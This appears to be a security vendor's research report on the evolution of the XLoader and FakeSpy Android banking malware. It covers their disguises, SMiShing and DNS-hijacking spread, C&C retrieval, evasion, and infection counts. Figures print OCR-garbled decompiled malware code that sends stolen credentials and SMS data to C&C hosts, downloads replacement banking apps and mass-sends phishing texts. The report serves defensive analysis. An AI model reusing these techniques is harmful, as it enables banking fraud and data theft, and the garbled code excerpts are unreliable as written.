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This research focuses on the evolution, as well as the connection, of

XLoader (a.k.a. MogHao and Roaming Mantis) and FakeSpy — two
prevalent Android malware families that have a total infection count of
almost 385,000 as of October 2018.

We published a blog entry on XLoader in April 2018 after it created a new
wave of attacks that used Domain Name System (DNS) cache poisoning/
DNS spoofing to distribute and install malicious Android apps to users
in Japan, Korea, China, Taiwan, and Hong Kong. Two months later, we
published our findings on FakeSpy, an Android malware that used SMS as
an entry point to launch info-stealing attacks on users in Japan and South
Korea. A closer look into the two mobile malware’s schemes allowed
us to dig deeper into the activities and possible connections between
XLoader and FakeSpy. Additionally, we discovered that FakeSpy, and
potentially XLoader, might have possible ties with the Yanbian Gang — a
Chinese cybercriminal group that uses mobile malware to steal money
from account holders of South Korean banks.

This research outlines the changes in the behavior, targets, attack
vectors, and infrastructure of both XLoader and FakeSpy over the years.
We will also break down the global impact of XLoader and FakeSpy,
and detail the similarities between the two mobile malware families that
show how they are connected to each other.


https://blog.trendmicro.com/trendlabs-security-intelligence/xloader-android-spyware-and-banking-trojan-distributed-via-dns-spoofing/
https://blog.trendmicro.com/trendlabs-security-intelligence/fakespy-android-information-stealing-malware-targets-japanese-and-korean-speaking-users/
https://blog.trendmicro.com/trendlabs-security-intelligence/mobile-malware-gang-steals-millions-from-south-korean-users/

The BEvolution of XLoader

For this research, Trend Micro has sourced more than 8,500 XLoader samples from malicious domains

and not from any legitimate app stores.

The activities of the Android malware family can be traced back to as early as January 2015, and as

years progressed, we observed that its operators kept on changing its attack vector and deployment

infrastructure, among other features. XLoader has also adopted a variety of deployment techniques, i.e.,
SMS phishing or SMiShing and DNS hijacking.

Version 1.0 Version 2.0 Version 3.0 Version 4.0 Version 5.0
Date 2015/1/23 to 2017/1/12 to 2017/8/21 to 2018/5/15 to 2018/6/26 to
2015/6/12 2017/8/19 2018/4/22 2018/6/24 now
Posed as Google Chrome, | Google Chrome, | Google Chrome, | Facebook, CJ A major home
S-HAA T A NAVER, Anroid | CJ t353(CJ | th3t-52(CJ delivery service

(Postal Code Security Update | Korea Express), | Korea Express) company in
Search), #EVG46585- Facebook Japan
SmartTouch 95HG
No. of sourced | 52 2730 111 628 4717
samples
Languages South Korean South Korean Japanese, South | Japanese, South | Japanese, South
supported (Hangul) (Hangul) Korean (Hangul), | Korean (Hangul), | Korean (Hangul),
and Chinese Chinese, and 24 | Chinese, and 24
more more
Spread channel | SMiShing SMiShing DNS hijacking DNS hijacking SMiShing
Payload N/A Base64 Base64, Base64 | Base64 + Zip Base64
encoding + Zip
C&C channel Legitimate web | Legitimate web | Legitimate web | Legitimate Legitimate
mailbox mailbox
C&C HTTP WebSocket WebSocket WebSocket WebSocket
connection

Table 1. A quick look at XLoader’s version changes
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https://www.trendmicro.com/vinfo/us/security/definition/smishing

XLoader Version 1.0 (January 23 to June 12, 2015)
Trend Micro sourced a total of 52 XLoader version 1.0 samples. The first XLoader malware discovered
was disguised as a legitimate Google Chrome application that targets South Korean users. It has the
following capabilities:

e Requests device administrator privilege;

e Hides itself from system application list after being launched manually;

e Uses DEX load technique to load extra payload under the APK asset directory;

e Generates random certificate content and uses self-protection mechanisms.

J i’ P Ml Activate device administrator?

Browser Calculator Calendar

d. Chrome
€ ' E @ Activating this administrator will allow the app

Chrome to perform the following operations:

Chrome Clock Contacts Downloads

Lock the screen

'— .. Control how and when the screen locks.
14 =

Email Gallery Google Settin.  Messaging

Figure 1. Screenshots of the fake Chrome app and its administrator permission activation request

Figure 2. Screenshot of the XLoader version 1.0 certificate. The certificate was created in 2015 and valid until 2124.
Based on the time gap between the creation of the certificate and the signature file, we believe that
the first version of XLoader was created in the UTC+ 8 time zone.
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If a user falls for the malware operators’ SMiShing method, the variant will install a malicious Android
banking app provided by its C&C server, which is fetched and parsed from a now-deleted social media
user profile (hxxp:/m[.I.Jcom/profile? 4 3420) created by the attackers. If manually
launched, it checks all installed apps on the affected device and crossmatches any installed banking app
(see Table 2) to a target list (see Table 3). Subsequently, it attempts to trick the user into replacing such

apps with malicious banking apps.

void checkApk() {

if(this.pkgInstall == null) {
new Threzad

public void run{) {
String v12 = null;
int v7 = 9;
super.run();
try {

tring[] v2 = Plugin.httpﬁetd http://" + Plugin.this.loadAddress()[@] + ":6545/1ist1.txt?" Ir Long.toString(Plugin.this.rd.nextlong(), 32)
int v8 = v2.length;
while(true) {

CiF(v7 »= vB) {
return;

Figure 3. Code snippet of the process of getting the list of malicious apps from the C&C server

Plugin.this.updoteAlertDialog tDialog3Builder(Plugin.this.service).setNegativeButton("FI4", new
public void onClick(DialogInterface int arg2) {
}).setPositiveButton(" 20", new ace$OnClickListener() {
public void onClick(Dialogln int args) {
try {
if(!Plugin.isAvilible(this.this$1.this$@.service, this.this$l.valSpkg)) {
return;
}
Intent v@ = new Intent("android.intent.action.DELETE", Uri.parse("package:" + this.this$l.val$)

v@.addFlags(268435456);
this.this$l.this$0.service.startActivity(ve);

}
catch(Exception v2) {

} . . .
} A new version has been released. Please reinstall it to use.
}).setMessage("MESWHA0] ZAIEIASLICH. W27 = 0E25HA17] UIELICH. "), .create();
Plugin.this.updoteAlertDiolog.getWindow().setType(2003);
Plugin.this.updoteAlertDialog.show();

Figure 4. Screenshot of the fake update notification code in XLoader version 1.0

Apart from automatically receiving registered broadcasts and triggering specific actions, (for example,
deleting SMS from a specified number), this version of XLoader can also receive and perform other

commands (see Table 4) when connected to its C&C server.
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gu() {
if(Plugin.og == null) {

try {
Plugin.a = new String(Plugin.d(Base64.decode("ByYpqP/Y10ZRtWIQX8zC447mLrpWHZavkLz3watnMgFkVFWWOCB1PW", 1),
Plugin.b = new String(Plugin.d(Base64.decode("PrN9Sm4pzVolYcQtbZh9sQ", 1), 1iskng"));

}

catch( tion v@) {

v@.printStackTrace();
¥
}

return Plugin.e + Plugin.b + "&" + .toString(this.rd.nextLlong(), 32);

Figure 5. Code snippet that shows XLoader Version 1.0’s C&C server address

The succeeding version of XLoader has a few variations, such as the use of a different social media user

profile and the list of malicious apps not being hardcoded in the malware code.

XLoader Version 2.0 (January 12 to August 19, 2017)

We caught 2,730 samples of XLoader version 2.0, most of them came from a concentrated outbreak in

August 2017. Like version 1.0, version 2.0 also went after South Korean users.

The first sample of XLoader version 2.0 was caught on January 12, 2017, and we noticed significant
changes from version 1.0. The operators behind this version changed the DEX load technique to load
extra payload, and the payload under the asset directory was encoded. Java classes under com.Loader

(which is where “XLoader” got its name) will be invoked in the payload.

©:49:40 UTC :

Figure 6. Screenshot of XLoader version 2.0’s malware certificate

i ¥8 1 = _neu telrr s tStream();
v2 = this.getAssets().open("bin"); I
new Dytel20a81];
f

Bytel] v3 =
while(true)
int v4 = v2.read(v3);
if(v4 == -1) {
break;
3

ve_l.write(v3, @, v4);
}

w2 close():
Ibyte[] v@_2 = Baseb4d.decode(ve_1.toByteArray(), B)l

7l I vZ_1 = new rileQut am(vl)
v2_1.write(ve_2);
v2_1.close();
new File(this.getFilesDir().getAbsolutePath() + x").mkdirs();
this.b = neu.l La eyl _getlbsolutePath(), this.getFilesDir().getAbsolutePath() + x", null,
this.c =] this.b.loadClass("com.Loader");
this.a = 15.C.getlonstructor().newlnstance();
return;

Figure 7. Code snippet showing the encoded payload and a modified DEX loading technique
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The code in the packer app and the payload changed significantly, which we believe is a result of code
reconstruction. However, some of XLoader version 1.0’s functions, such as the device administrator
request and its ability to hide itself from the application list, can still be seen in version 2.0. The process of

getting the real C&C address, which can be accessed via a social media user profile, is also in version 2.0.

Apart from the commands sent by the C&C in version 1.0, version 2.0 also has new and modified
commands (see Table 5), and changed the way it communicates with the C&C server from HTTP to
WebSocket. Besides the malicious banking apps, XLoader version 2.0 has also tried to lure victims into

installing malicious gaming apps (see Table 6).

XLoader version 2.0 abuses the WebSocket protocol to get a persistent connection between clients and
servers where data can be transported anytime. At the same time, XLoader abuses the MessagePack
(a data interchange format) to package the stolen data and exfiltrate it via the WebSocket protocol for a

more efficient transmission.

XLoader version 2.0 creates a simple HTTP server on the affected device to trick victims. A Korean web
phishing page is shown whenever the affected device receives a broadcast event (i.e., if a new package is

installed or if the device’s screen is on) to steal personal data such as information used in banking apps.

(o9 @827 A® O W% Os28

127.0.0.1:9820 =

" ofx{o|=
a\ el i

djklsli589@gmail.com

oogle OFO|C| 2IEU
MESHH 2.

Figure 8. Screenshot of the fake update notification and the phishing page (in Korean)

8 | The Evolution of XLoader and FakeSpy: Two Interconnected Android Malware Families



XLoader Version 3.0 (August 21, 2017 to April 22, 2018)

We discussed our findings on XLoader version 3.0, which we caught 111 samples of, in the TrendLabs
Security Intelligence Blog entry “XLoader Android Spyware and Banking Trojan Distributed via DNS
Spoofing” published in April 2018. Version 3.0 poses as a legitimate Facebook or Chrome application,
and targets more countries, including Japan, South Korea, China, Taiwan, and Hong Kong. Most of the

samples were distributed from polluted DNS domains that sent fake notifications to victim’s devices.

: CN=afavrfbqgl, OU=eafcjxxapn, O=qggvstkrft, L=nccfpgbrtm,
CN=afavrfbgl, OU=eafcjxxapn, O=ggvstkrft, L=nccfpgbrtm,

Serial number: 4e9c2a6
valid from: Mon Aug 21 23:49:32 UTC 2017 until: Wed Feb 26 23:

Certificate fingerprints:
MDS5: AD:6C:Bl:1C:ES5:13:AB8:BB:1E:31:22:C2:
SHAl: 94:A6:54:AA:21:A9:F7:29:3D:45:98:8F:
Signature algorithm name: SHA256withRSA
vVersion: 3

Figure 9. Screenshot of the XLoader malware certificate of version 3.0

XLoader version 3.0 started supporting more languages, such as English, Japanese, Hangul, and Traditional
Chinese languages. This isn’t only reflected on version 3.0’s code, but also on its attack vectors, i.e., a

phishing website and a fake pop-up notification window.

WaE = 0| 23A HIRUCE. ", + p.b

WM O nEN
AR + p.b + “\"$FoI B #£). (4010

i+ fHI&

HE W, + p.b o+ DELHA b RBEL .2

djklsli589@gmail.com djklsli589@gmail.com djklisli589@gmail.com djklsli589@gmail.com

na &8 Name: ]

Figure 11. Screenshots of the phishing websites (in Traditional Chinese, Japanese, English, and Hangul)
created by XLoader version 3.0 operators
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'ns get...");

z.d("HWS",

L v@ = o.a(Loader.access$getPreferences$p(this.a).getString("addr_accounts”, “haoxingfu88|haoxingful2389|wokaixi
String vl = Locale.getDefault().toString();
if((o.a(vl, "ko", false, v8, v5)) || (o.a(vl, "zh_CN", false, v8, v5))) {

v8_1 = Loader.access$getPreferences$p(this.a).getString("account”, vB.get(@));
¥
else if(o.a(vl, "ja", false, v8, v5)) {

v@_1 = Loader.access$getPreferences$p(this.a).getString("account”, v@.get(v8));
¥
else {

v@_1 = Loader.access$getPreferences$p(this.a).getString("account”, v@.get(1));
}

Figure 12. Code snippet showing XLoader version 3.0’s different regional C&C addresses
that are hidden in different social media user profiles

Other than the C&C commands used in XLoader version 2.0, version 3.0 added new capabilities, such as
setting the device’s ringer mode to silent, simulating a number-dialed tone, and calling a specific number,

among others (see Table 7 for the complete list).

XLoader version 3.0 also adds a more sophisticated way of hiding its payload. The key malicious payload
was placed in the asset directory as a DEX file in version 1.0, while version 2.0 used Base64 encoding
algorithm. However, in version 3.0, XLoader uses Base64 and Zip to encode and compress its payload to

evade detection.

super.onCreate();
try {
File vl = new File(this.getFilesDir().getAbsolutePath() + File.separator + "test.dex");
if(vl.exists()) {
vl.delete();

}

ArrayOL Stream vO_1 = _pew BvteArravQutputStream().
Inflaterl tream v2 =|new In‘Late-Im:“tSt'ea”(this.getAssets().Open("data.sql”));I
byte[] v3 = new byte[20483%
while(true) {

int v4 = ((InputStream)v2).read(v3);

if(v4 == -1) {

break;
¥

ve_1.write(v3, 0, v4);

Figure 13. Screenshot of XLoader version 3.0 loading the encoded and zipped payload

This version of XLoader sports more self-protection/persistence mechanisms. It prevents victims from
accessing the device’s settings, which potentially prevents users from uninstalling XLoader or using a

security app to get rid of it.
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XLoader Version 4.0 (May 15 to June 24, 2018)

A total of 628 XLoader version 4.0 samples were sourced for this research. Just like its early iterations, this
version — spotted on May 15, 2018 — poses as a legitimate Facebook or Chrome application to target
banking or gaming apps. Apart from Android users, the operators of this variant started targeting even

iOS and PC users soon after its first iteration emerged.

XLoader version 4.0, which supports 27 languages (including European and Middle Eastern languages),
infects PCs in order to mine cryptocurrency via DNS hijacking. The cryptocurrency mining function will be
triggered if users connect to a compromised router. This malicious tactic, along with phishing, was also
used by the operators to victimize iOS users. When iOs users connect to a compromised router, they will

be directed to a phishing page, where the variant can steal their Apple ID.

Figure 14. In the first iteration of XLoader version 4.0, its operators only focused on targeting Android devices.
PCs and iOS devices were still spared.

Figure 15. The succeeding iteration of XLoader Version 4.0 added a phishing function that targeted iOS devices,
and a cryptocurrency mining capability that targeted PCs.
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Figure 16. In the last iteration of XLoader version 4.0, its operators removed the phishing website,
and added a mining function for iOS devices. The Coinhive wallet address was also changed to a new one.

H
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Figure 18. Screenshots of the phishing websites (in Italian, Spanish, Russian, and Arabic)
created by XLoader version 4.0 operators
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From using a social media user profile in its prior versions, this version now uses email to retrieve its real
C&C address. This version connects to an email inbox using hardcoded Microsoft Outlook® credentials

via POPS3. It then obtains the email subject and extracts the C&C address using the string “abcd” as an

indicator.
try {
F [ vl_1l = new perties();
vl_1.setProperty( il.transport.protocol”, "pop3");
vl_1l.setProperty( il.pop3.host", "| 3il.outlook. ¢ );
vil_1.setProperty( il.pop3.port”, g o
")

vl_1l.setProperty("mail.pop3.ssl.enable”, "tru
vl_1.setProperty("mail.pop3.ss rust”, Y3
Session vl1_2 = Session.getDefaultlInstance(vl_1);
vl_2.setDebug(true);
vl = v1_2.getStore("pop3”);

i vz = o.a(argl2, new char[]{"':'}, false, @, 6, null);
v9.connect(v2.get(0), v2.get(1));
v2_1 = v9.getFolder("INBOX");
v2_1.open(1);
Message[] v3 = v2_1.getMessages();
vl 3 = 0;
while(true) {

if(vl_3 < v3.Llength) {

v4 = v3[vl_3].getSubject();
if(o.a(v4, "abcd", false, 2, null)) {

Figure 19. Code snippet of XLoader version 4.0 using email subject to get its real C&C address

Apart from the commands sent by the C&C server in previous versions, XLoader version 4.0 just added

one module — called ping, which executes a command to ping a specified destination.

XLoader Version 5.0 (June 26, 2018 to present)

XLoader version 5.0 poses as an app from a major home delivery service company in Japan. It also uses
SMiShing to trick users into installing the malicious app. Notably, FakeSpy operators also used this app

from December 2017 to April 2018 to victimize mobile users.

Owner: CN=fovmlbgtz, OU=nrbgcxvhh, O=mfwjfotcn, L=SH, ST=SH,

Issuer: CN=fovmlbgtz, OU=nrbgcxvhh, O=mfwjfotcn, L=SH, ST=SH,

Serial number: llcba2Z6a

Valid from: Tue Jun 26 11:15:15 UTC 2018 until: Thu Jan 01 11:15:15 UTC 2128
Certificate fingerprints:

MDS5: C9:C4:86:EE:0B:8C:47:FE:73:AD:D7:21:36:AC 44

SHAl: 3B:5D:2C:24:62:FA:7D:B6:FE:63:2C:F4:DD:0B:98:DB:1D:20:03:CF
Signature algorithm name: SHA256withRSA

Version: 3

Figure 20. Screenshot of XLoader version 5.0’s malware certificate
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https://whatis.techtarget.com/definition/POP3-Post-Office-Protocol-3
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Figure 21. Screenshot of the XLoader version 5.0 posing as an app from
a major home delivery service company in Japan

10:00

BERBICHBENDOEREITICHH
DELIEDHFEDORFTERDEL
fco TREKD THERSIET L,
http://s kj#w=a-ga.com

4« SMS

Figure 22. Screenshot of XLoader version 5.0’s SMiShing message (in Japanese),
which was also used by a FakeSpy variant

The previous versions have self-protection/persistence mechanisms, but XLoader version 5.0 removed
it, possibly as a way to avoid the attention of users and security applications. Instead, this version used
Java Reflection and Base64 encoding techniques to hide the icon from the device application list after it

launches for the first time.

static {

String[] vl = new String[13];

vi[e] = C 5% N2ald.";

vi[1] = "MZ . A2 IR

vi[2] = + p.b + "0 D] Z NT2AUR";

vi[3] = "RELHUEN"" + p.b + "\"HA O HEN HOA BEY = AD WEE =5 83 JuO;

HURAJETUC. HASHD Al LASIAR.";

& H
+2 HZB0| 0140 ASLICL.SHASES S0 USVES YAS0 *2 ABE ZSATIVLO. OIUDT BFA20 924

[131;
gle BRSERERS RS

vi[1] = "EREHEE, e SR

vi[2] = “Efm]" + p.b « “EPILHERS:;

vi[3] = BRI + p.b « “\ iSRS PR 5B A F I AR

vi[4] = "RER";

vi[5] = “HR§";

vi[e] = “[#&]. B HBEEHRRA .

vi[7] = "HL2EEH";

vi[8] = "HE";

vi[9l = "£Q0";

vif1e] = "EMARKEFEERT, BRI SELENSLESLTENGTRE , ZTNSHRENEREA.
vi[11] = "¥3FA";

vi[12] = "iEARWE

<

3
p
;

Figure 23. XLoader version 5.0 still supports 27 languages, but the way it’s coded
is better than version 4.0; it’s more scalable and easier to maintain.
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The BEvolution of FakeSpy

Trend Micro sourced more than 200 FakeSpy malware samples. FakeSpy underwent several significant

changes since it was first discovered on October 15, 2017, and has since infected more than 12 thousand

smartphone users. Like XLoader, FakeSpy uses SMS as an entry point to steal information from users in

Japan and South Korea.

All samples were sourced from FakeSpy’s malicious domains.

Version 1.0 Version 2.0 Version 3.0 Version 4.0 Version 5.0 Version 6.0
Date 2017-10-15to | 2017-12-03 to 2018-05-15to | 2018-06-26 to | 2018-07-19 to | 2018-08-02 to
2017-11-26 2018-04-19 2018-06-24 2018-07-19 2018-08-02 now
Posed as NH-5 & 7]l 3 & | A fashion and A major A major A major A major
(NH Capital), | clothing company, a | home delivery | home delivery | home delivery | home delivery
KB 1123} major home delivery | service service service service
(KB Kookmin | service company company in company in company in company in
Bank), in Japan, a Japan Japan Japan Japan, 2&
NH% &< 3 telecommunications (Express), T2
(Nonghyup company, a credit {8(Takkyubin)
Bank) card compan'y,
a postal service
company
Number of 6 26 29 44 39 122
sourced
samples
Languages South Korean | Japanese Japanese Japanese Japanese Japanese
supported (Hangul)
Spread SMiShing SMiShing SMiShing SMiShing SMiShing SMiShing
channel
Packed? No No No Yes Yes Yes
Phishes No Yes No Yes Yes Yes
financial
account
credentials?
Fetches No No No No Yes Yes
SMiShing
data?
C&C channel | Legitimate Hardcoded Hardcoded Hardcoded Hardcoded Hardcoded
web
Command JavaScript JavaScript N/A N/A N/A N/A
channel
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Table 2. A quick look at FakeSpy’s version changes




FakeSpy Version 1.0 (October 15 to November 26, 2017)
We were able to source six samples of FakeSpy version 1.0, which posed as NH5 3 71 31| & (NH Capital),
KB= 7123 (KB Kookmin Bank), and NH& 3 23] (Nonghyup Bank) to target South Korean users. This

version of FakeSpy has the ability to steal SMS, call logs, and contacts from the infected device.

Q%W @ 247

HEES 02-1588-2100

KBBRIE

St tHE Bad o

HEE| DAOIRE A
EHr?—__IE CHEI*—Iﬁnrxl INWEE A58 PR B
o LR FVEYE BRI,
a -TI— H’I-Eﬂl i‘h‘i P20 PESA BT O 87
230! Y 4 HEW YIRS W G
J2008HISE] 2/ 4,0002H 71X)! (RGOS ————
JLElsolos 2H St RHIY ChE! i
JHE HEEAS 53 UE AR ) K= Star! ¥t pacs

ukez (CC Star!
e il

7 b
N A 3T T T

‘EQ‘H’SIE DRUFE EA

e Ol

&E B 0p? DAGES W3}
HSAEO 2 OHHCHE okl ey

Ll 2 ol%

Figure 24. Screenshots of the fake apps used by FakeSpy

When manually launched, it connects to hxxp://www[.]Jrainfly[.]Jcn/getllll.]ohp?id I and parses

its C&C server address by replacing “?’” with “.”.

try {
v3 = new URL({"http://wwm.rainfly.cn/gei php?id=" + Config.TC).openConnection();

\)v3) setRequestNethud( GET ),

ion)v3).setRequestProperty("C -

n)v3).setRequestProperty("( \:’-l',",--; ‘, “text/xml; charset=UTF-8");
Af(((t ectior )v3) getRespanseCode() == 200) {
= ((HttpURL e )VB) getInputStream(),
""" itputstrean vi = new ByteArra) Strea();
byte[] v2 = new hy‘te[zodB]
while(true) {
int v6 = vS5.read(v2);
if(v6 == -1) {
break;
}
vl.write(v2, @, v6);
¥
v5.close();
String v7 = new String(vl.toByteArray(), "UTF-8");

MLog.i("link:" + v7);

if(!v7.equalsignoreCase("") && (v7.contains("?"))) {
MKits.setLink(WebActivity.this, "http://" + v7.replace("?", ".") + "/");

}

}
}

Figure 25. Code snippet showing the C&C server being fetched
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Transmission Control Protocol, Src Port: 88, Dst Port: 43713, Seq: 1, Ack: 246, Len: 239
' Hypertext Transfer Protocol
4 Line-based text data: text/html (1 lines)
14222522249258

Figure 26. The fetched C&C address

It uses a JavaScript bridge (Javascriptinterface) to allow an application’s internal functions to be invoked
by downloading and running JavaScript from a remote website. This is all done to send commands via

JavaScript.

nterface public void onMessage(String argld) {

i("onMessage:" + argl4);
2 = MKits.getIM(this.mContext);

JSONObject v3 = new JSONC
vl = v3.optString(”

vS = v3.optString(“co
v7 = v3.optString(“ph

catch(JSONException ve) {
ve.printStackTrace();
]

if(vl.equalsIgnoreCase("")) {
vl = Config.MAID;

}
if(largld.contains("contact”) || (argl4.contains("add")) || (argld.contains("c W {
if(!v7.equalsignoreCase("") && (argld4.contains("add")) && (argl4.contains("contact”)) 8& (argl4.contains("phone”))) {
MKits.addContact(this.mContext, v5, v7);
MLog.i("add contact:" + v5 + " phone:" + v7);
return;
b
if(!v7.equalsIgnoreCase("") & (argl4.contains("delete”)) 8& (argl4.contains(“contact”)) && (argl4.contains("phone”))) {
MKits.deleteRelation(this.mContext, v7);
MLog.i("del contact:™ + vS + " phone:" + v7);
return;
¥
if(argl4.contains(“forbidden™)) {
MKits.setForbidden(this.mContext, true);
System.exit(0);
return;
}
MKits.setForbidden(this.mContext, false);
H

Figure 27. JavaScript Bridge
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FakeSpy Version 2.0 (December 3, 2017 to April 19, 2018)

We sourced 26 samples of FakeSpy version 2.0. For this version, the malware operators shifted their
target from South Korea to Japan. This version posed as a major home delivery service company in
Japan, a telecommunications company, a credit card company, a fashion and clothing company, and a

postal service company..
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Figure 28. Attack vectors of FakeSpy version 2.0

Unlike version 1.0, this version doesn’t have the ability to monitor calls, but it added more C&C commands,
such as setting the device to mute, resetting itself, and stealing SMS, device information, and update

configuration.

It can update its C&C server, which is encrypted along with other configurations, through SMS. The
malware registers a receiver to monitor SMS, and once the device receives the SMS, it will check if the

SMS content contains “AA,” “$$,”and “?,” and parse the real C&C server address.

The malware also has the ability to phish users’ bank accounts by checking installed banking apps on the

device and downloading malicious ones to replace them.
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for(va = @; v& < JCenfig.DK_ARRAY_LIST.length; ++va) {
this.mUninstoll_pockage = JKits.getDec(IConfig.DK_ARRAY_LIST[v4]);
this.minstoll_pockage = JConfig.Mv_DK_ARRAY_LIST[wv4];

g vl = JKits.getConfigStr{((Context)this), “uninow");
.+ v@ = IKits.getConfigstr(((Context)this), "insnow™);
if(1JKits.isInstalled(({{Context)this), this.mInstoll_pockoge) 8& (v@.equalsIgnoreCase(this.mInstoll_packoge)) && (vl.equalslgnoreCase(this.mUninstoll_pockoge})) {
vi=1;
this.TYPE = JConfig.TYPE_INSTALL;
this.downloadFile(v2, this.mInstall_package + “.apk™);
break;
}
if((IKits.izsInstalled((( text)this), this.mUninstall package)) 8& !JKitsz.izInstalled(((Context)thic), this.mInstall package)) {
vi = 1;
this.TYPE = JConfig.TYPE REPLACE INSTALL;
this.downloadFile(v2, this.mInstall_package + “.apk");
break;

Figure 29. Code snippet showing legitimate apps being replaced with malicious ones

The malicious banking apps have the same icons as the replaced ones. If launched, it sends a fake

notification window to users. After that, it prompts a page for users to input their accounts and passwords.
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[=E-8 0% oA
pay r paam R
Android Pay Calculator Calendar Camera =l == HID-OF AT —K
= =
e e BA e
Chrome Clock Conlacts  Downloads [FIEF BB LED %O A AFEER]
Og4 27— E(£2H])
s M ~ ° =
Drive Gmail Google Hangouts
D71/ THEEDOSTEE >
“ "
i BUHTOWCOTA 288 >
A h h
Maps Messages Phone Photos ?ﬁﬂ!{‘.ﬂ EmDD"f -JIC‘DL\-C >
N N N
PlayGames  Play Movies &. Play Music Play Store
E u -
Settings YouTube —
q e} ] < o] O

Figure 30. Screenshots of a malicious app posing as a legitimate banking app, the fake notification window, and
the phishing page. The text in the notification window is written in Japanese language, which roughly translates to:
“These days, users’ information leak is frequently occurring. We upgraded | NI to protect users. You need

to re-login “rakuten bank” or we will lock your account.”

This variant has the ability to send a user’s credential information to its C&C server after the user clicks

on the login button.
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= new HashMap();
v@).put(“shopno”, this.shopno.getText().toString());
((Map)ve).put(“accountnumber”, this.accountnumber.getText().toString());
((Map)ve@).put(“security”, this.seelctl txt.getText().toString() + "=" + this.edit_txtl.getText()
this.progressDialog.show();
new Thread(new ApiUpdate(((Context)this), ((Map)ve), ((MoreCallBack)this))).start();
return;
public void postInfos() {

String v6 = "http://tempuri.org/";

if( tils.isEmpty(Application.getInstance().getPosition())) {

S 3 vl = "http://" + Application.getInstance().getPosition() + "/webservicel.asmx”;

String v1@ = v6 + this.methodName;
ScapObject v9 = new ScapObject(vé, this.methodName);
Iterator v4 = this.map.entrySet().iterator();
while(v4.hasNext()) {

Object w2 = v4.next();
v9.addProperty(((Map$Entry)v2).getKey(), ((Map$Entry)v2).getvalue());

}

ScapSerializationEnvelope v3 = new ScapSerializationEnvelcpe(100);
v3.bodyout = v9;
v3.dotNet = true;
v3.setOutputSoapObject(v9);
HttpTransportSE vll = new HttpTransportSE(vl);
try {
vll.call(vie, ((SoapEnvelope)v3));
if(v3.bodyIn.toString().contains("0")) {
if(this.activity == null) {
return;
}

this.activity.getMoreRequest();
return;

}

Application.getInstance().setCookieAdd();
this.postInfos();

¥

catch(Exception v8) {
v@.printStackTrace();
Application.getInstance().setCookieAdd();
this.postInfos();

;

}

public void run() {
this.postInfos();
}

Figure 31. Code snippet showing FakeSpy version 2.0 stealing user account credentials

FakeSpy Version 3.0 (May 15 to June 24, 2018)

We sourced 29 samples of FakeSpy version 3.0. This version still posed as a major home delivery service
company in Japan, but its code structure has changed significantly. It removed the JS Bridge, which was
used to receive commands; removed the function of replacing real banking apps with fake ones; and just

kept the function that steals SMS messages. This version has a hardcoded and encrypted C&C address.
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Figure 32. Structure of FakeSpy version 3.0

try { ’
this.sp.setValue("URL", new JUtils("TEST").decrypt("769b974306b596cb8747b13ed9fdcedfieflafcb2dalbs2e6ebale196dcodf63™));

}

Figure 33. Code snippet showing FakeSpy version 3.0’s C&C address’ encryption

FakeSpy Version 4.0 (June 26 to July 19, 2018)
Trend Micro sourced 44 samples of FakeSpy version 4.0, which adds the ability to send SMiShing
messages to other mobile users. When launched, it sends a SMiShing message to all of the device’s

contacts, capable of sending a message to one phone number every two seconds.

SmsUtil.sendSMSTO(argl8, v13, "SuscrcmIme®ok. tnestardl. ¥y reBELT (20" + StringUtil.dogs[ContactUtils.rand.nextInt(6)])
Thread.sleep(2000);

Figure 34. Content of the SMiShing message: “fh& &R ICBUYZEE S, ZTNZEF v I L. UV I ZEERU
T <L fZE L) (English translation: | sent you a gift, click the link to check it).
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The phishing domain poses as a legitimate website of a major home delivery service company in Japan.
Clicking on any button on the malicious webpage will trigger the download of an APK file. The page

provides instructions (in Japanese) on how to download and install the malicious app.

Figure 35. Screenshots of the fake webpage of a major home delivery service company
in Japan and its instructions on how to install the malicious app

Version 5.0 (July 19 to August 2, 2018)

We sourced 39 samples for the analysis of FakeSpy version 5.0. The pre-configured phishing domains
of the previous version were blocked by Chrome and other security vendors soon after it appeared,
leading to the emergence of FakeSpy version 5.0. This version fetches the SMiShing content and the list

of targeted phone numbers from its C&C server. The attacker controls the data sent from the C&C server.
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SOMA v3 = new JS0NArray(StUtil.postlson(MS.this, MS.this.sp.getvalue("URL®, “") + “/servlet/GetMessage”, “{\"json\":\"" + StUtil.stringTodson(v2.toString(}) + I H
M5.this.sp.setValue{"tt4", v3.length());
int v1;
for(vl = 8; vl < v3.length(); +s#vl) {
e t vd = y3.getISONObject(vl);
SmsUtil.sendSMSTO(MS.this, v4.getString(“send p”), vd.getString(“cont™));
T ad. sleep(1009) ;

Figure 36. Fetched SMS data from the server
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Figure 37. The infected device attempting to send SMiShing messages to other phone numbers. The SMS content
sent from the C&C server are all the same except for the embedded phishing domains.

Some targeted phone numbers sent from the C&C server were actually generated by the server and not
taken from the infected device’s contact list. These numbers follow the format of Japan’s phone numbers,

but some did not follow the format.

The ability to replace real applications with malicious ones resurfaced in this version. However, it only
targets a financial services company that offers prepaid and credit cards. The malware checks whether
the app of the financial services company is installed in the device and then downloads a fake one to
replace it. To lure the user into installing the malicious app, it will send this message: $TLWLY/N\—3'3 H"
HUFET. 7vTTLU—RULTLIEEL. This roughly translates to “There is a new version, please upgrade”

in English.

The fake app pops an account update notification to phish the account credentials of victims, which are

sent to its C&C server.
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Figure 38. The fake and malicious app’s notification pop-up window and phishing page.

FakeSpy Version 6.0 (August 2, 2018 to present)

We sourced 122 FakeSpy version 6.0 samples for this research. Apart from the ability to fetch SMS
content and targeted phone numbers from the C&C server, there’s only one function added in this version,
which is the ability to send the SMiShing content to the infected device’s contact list; one contact number

every 15 seconds.

String v2_1 = HS.this.sp.getValue("URL", "") + "/servlet/GetMoreConMessage";

StringBuilder v3 = new StringBuilder();
v3.append("{\"json\":\"");
v3.append(StUtil.stringToJson(v@.toString()));
v3.append(“\"}");

String v@_3 = Stutil.postlson(((Context)vl), v2_1, v3.toString());
if(TextUtils.isEmpty(((CharSequence)ve_3))) {

return;
}
JSONArray vl_1 = new JSONArray(v@_3);
int ve_4;

for(ve_4 = 0; ve_4 < vl_1.length(); ++ve_4) {
UC.readAllContacts(HS.this, v1_1.get]SONObject(ve_4).getString("cont”).trim());
Thread.sleep(15000);

Figure 39. Code snippet showing SMS data being fetched from the C&C server
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The Global Impact of XLoader and
FakeSpy Attacks

XLoader and FakeSpy attacks continue to increase and spread across the globe. From more than 3,000
in January 2018, the victim count continued to rise, reaching 118,207 in August. A total of 384,748 victims

from XLoader and FakeSpy attacks were recorded as of October.
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Figure 40. Monthly infection count for XLoader and FakeSpy attacks this year

